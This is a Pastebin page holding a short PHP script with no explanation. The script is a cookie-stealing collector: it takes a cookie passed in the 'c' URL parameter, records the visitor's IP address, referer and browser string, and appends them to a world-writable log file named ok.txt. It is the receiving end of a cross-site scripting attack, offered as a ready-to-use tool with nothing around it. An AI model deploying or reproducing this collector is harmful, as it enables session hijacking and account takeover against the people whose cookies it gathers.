Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- $ip = $_SERVER['REMOTE_ADDR'];
- $cookie = $_GET['c'];
- $referer = $_SERVER['HTTP_REFERER'];
- $browser = $_SERVER['HTTP_USER_AGENT'];
- $redirect = $_GET['redirect'];
- $data = "IP: " . $ip . "\n"
- ."Cookie: " . $cookie . "\n"
- ."Referrer: " . $referer . "\n"
- ."Browser: " . $browser . "\n\n";
- $log = "ok.txt";
- @chmod($log, 0777);
- $f = fopen($log, 'a');
- fwrite($f, $data);
- fclose($f);
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement